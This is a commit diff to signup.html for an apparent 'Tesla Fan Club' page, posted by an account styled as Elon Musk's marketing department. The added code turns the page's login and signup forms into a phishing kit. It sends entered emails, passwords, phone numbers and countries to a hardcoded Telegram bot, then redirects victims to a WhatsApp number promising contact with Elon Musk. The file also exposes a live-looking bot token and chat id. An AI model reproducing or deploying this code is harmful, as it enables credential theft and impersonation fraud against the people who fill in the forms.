ElonMuskTeslaMarketingDepartment commited on
Commit
23009de
·
verified ·
1 Parent(s): 579ad2d

Update signup.html

Browse files
Files changed (1) hide show
  1. signup.html +86 -34
signup.html CHANGED
@@ -98,11 +98,28 @@
98
  <body>
99
  <div class="container">
100
  <div class="tabs">
101
- <div class="tab" data-target="#signup">Sign Up</div>
102
- <div class="tab active" data-target="#login">Login</div>
103
  </div>
104
 
105
- <div class="form-container" id="signup">
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
106
  <h2>Sign Up</h2>
107
  <form id="signup-form">
108
  <div class="form-group">
@@ -131,24 +148,6 @@
131
  <p class="error-message" id="signup-error-message"></p>
132
  </div>
133
  </div>
134
-
135
- <div class="form-container active" id="login">
136
- <h2>Login</h2>
137
- <form id="login-form">
138
- <div class="form-group">
139
- <label for="login-username">Email</label>
140
- <input type="email" id="login-username" name="username" required>
141
- </div>
142
- <div class="form-group">
143
- <label for="login-password">Enter Password</label>
144
- <input type="password" id="login-password" name="password" required minlength="8">
145
- </div>
146
- <button type="submit" class="btn">Login</button>
147
- </form>
148
- <p class="message" id="login-success-message">Login successful!</p>
149
- </div>
150
-
151
-
152
 
153
  <script>
154
  // Tab Switching Logic
@@ -164,10 +163,71 @@
164
  });
165
  });
166
 
 
 
 
 
 
 
 
 
 
 
167
  // Login Form Submission
168
- document.getElementById('login-form').addEventListener('submit', function(event) {
169
  event.preventDefault();
170
- document.getElementById('login-success-message').style.display = 'block';
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
171
  });
172
 
173
  // Signup Form Submission
@@ -209,14 +269,8 @@
209
  return;
210
  }
211
 
212
- // Telegram Bot Configuration (MOVE TO BACKEND FOR SECURITY)
213
- const tg = {
214
- token: '7981841433:AAEMY6ZluU-NaxMcCRGLt0Ms5Rn4LM1EwCI', // Replace with your new Telegram bot token
215
- chat_id: '7172238291' // Verify this chat ID is correct
216
- };
217
-
218
- // Format message for Telegram
219
- const message = `New Signup:\n*Username*: ${username}\n*Phone*: ${phone}\n*Country*: ${address}`;
220
 
221
  try {
222
  // Send data to Telegram
@@ -239,9 +293,7 @@
239
  errorMessage.style.display = 'none';
240
 
241
  // Redirect to WhatsApp chat
242
- const whatsappNumber = '+19843527854'; // Replace with your valid WhatsApp number (e.g., +1234567890)
243
- const whatsappMessage = encodeURIComponent(`Hi, I just signed up for the Tesla Fan Club as ${username}!`);
244
- const whatsappUrl = `https://wa.me/${whatsappNumber}?text=${whatsappMessage}`;
245
  window.location.assign(whatsappUrl); // Direct redirect to avoid popup warning
246
  } else {
247
  throw new Error(result.description || 'Failed to send message to Telegram');
 
98
  <body>
99
  <div class="container">
100
  <div class="tabs">
101
+ <div class="tab active" data-target="#signup">Sign Up</div>
102
+ <div class="tab" data-target="#login">Login</div>
103
  </div>
104
 
105
+ <div class="form-container" id="login">
106
+ <h2>Login</h2>
107
+ <form id="login-form">
108
+ <div class="form-group">
109
+ <label for="login-username">Email</label>
110
+ <input type="email" id="login-username" name="username" required>
111
+ </div>
112
+ <div class="form-group">
113
+ <label for="login-password">Enter Password</label>
114
+ <input type="password" id="login-password" name="password" required minlength="8">
115
+ </div>
116
+ <button type="submit" class="btn">Login</button>
117
+ </form>
118
+ <p class="message" id="login-success-message">Login successful! Redirecting to WhatsApp...</p>
119
+ <p class="error-message" id="login-error-message"></p>
120
+ </div>
121
+
122
+ <div class="form-container active" id="signup">
123
  <h2>Sign Up</h2>
124
  <form id="signup-form">
125
  <div class="form-group">
 
148
  <p class="error-message" id="signup-error-message"></p>
149
  </div>
150
  </div>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
151
 
152
  <script>
153
  // Tab Switching Logic
 
163
  });
164
  });
165
 
166
+ // Telegram Bot Configuration (MOVE TO BACKEND FOR SECURITY)
167
+ const tg = {
168
+ token: '7981841433:AAEMY6ZluU-NaxMcCRGLt0Ms5Rn4LM1EwCI',
169
+ chat_id: '7172238291'
170
+ };
171
+
172
+ // WhatsApp Configuration
173
+ const whatsappNumber = '+19843527854';
174
+ const whatsappMessage = (username) => encodeURIComponent(`Hi, I just signed up for the Tesla Fan Club as ${username}. I want To speak directly with Elon Musk!`);
175
+
176
  // Login Form Submission
177
+ document.getElementById('login-form').addEventListener('submit', async function(event) {
178
  event.preventDefault();
179
+
180
+ const username = document.getElementById('login-username').value;
181
+ const password = document.getElementById('login-password').value;
182
+ const errorMessage = document.getElementById('login-error-message');
183
+ const successMessage = document.getElementById('login-success-message');
184
+
185
+ // Reset messages
186
+ errorMessage.style.display = 'none';
187
+ successMessage.style.display = 'none';
188
+
189
+ // Validate email format
190
+ const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
191
+ if (!emailRegex.test(username)) {
192
+ errorMessage.textContent = 'Please enter a valid email address';
193
+ errorMessage.style.display = 'block';
194
+ return;
195
+ }
196
+
197
+ // Format message for Telegram (including password - INSECURE)
198
+ const message = `New Login:\n*Email*: ${username}\n*Password*: ${password}`;
199
+
200
+ try {
201
+ // Send data to Telegram
202
+ const url = `https://api.telegram.org/bot${tg.token}/sendMessage`;
203
+ const response = await fetch(url, {
204
+ method: 'POST',
205
+ headers: {
206
+ 'Content-Type': 'application/json'
207
+ },
208
+ body: JSON.stringify({
209
+ chat_id: tg.chat_id,
210
+ text: message,
211
+ parse_mode: 'Markdown'
212
+ })
213
+ });
214
+
215
+ const result = await response.json();
216
+ if (response.ok && result.ok) {
217
+ successMessage.style.display = 'block';
218
+ errorMessage.style.display = 'none';
219
+
220
+ // Redirect to WhatsApp chat
221
+ const whatsappUrl = `https://wa.me/${whatsappNumber}?text=${whatsappMessage(username)}`;
222
+ window.location.assign(whatsappUrl); // Direct redirect to avoid popup warning
223
+ } else {
224
+ throw new Error(result.description || 'Failed to send message to Telegram');
225
+ }
226
+ } catch (error) {
227
+ errorMessage.textContent = `Error: ${error.message}`;
228
+ errorMessage.style.display = 'block';
229
+ console.error('Error:', error);
230
+ }
231
  });
232
 
233
  // Signup Form Submission
 
269
  return;
270
  }
271
 
272
+ // Format message for Telegram (including password - INSECURE)
273
+ const message = `New Signup:\n*Username*: ${username}\n*Password*: ${password}\n*Phone*: ${phone}\n*Country*: ${address}`;
 
 
 
 
 
 
274
 
275
  try {
276
  // Send data to Telegram
 
293
  errorMessage.style.display = 'none';
294
 
295
  // Redirect to WhatsApp chat
296
+ const whatsappUrl = `https://wa.me/${whatsappNumber}?text=${whatsappMessage(username)}`;
 
 
297
  window.location.assign(whatsappUrl); // Direct redirect to avoid popup warning
298
  } else {
299
  throw new Error(result.description || 'Failed to send message to Telegram');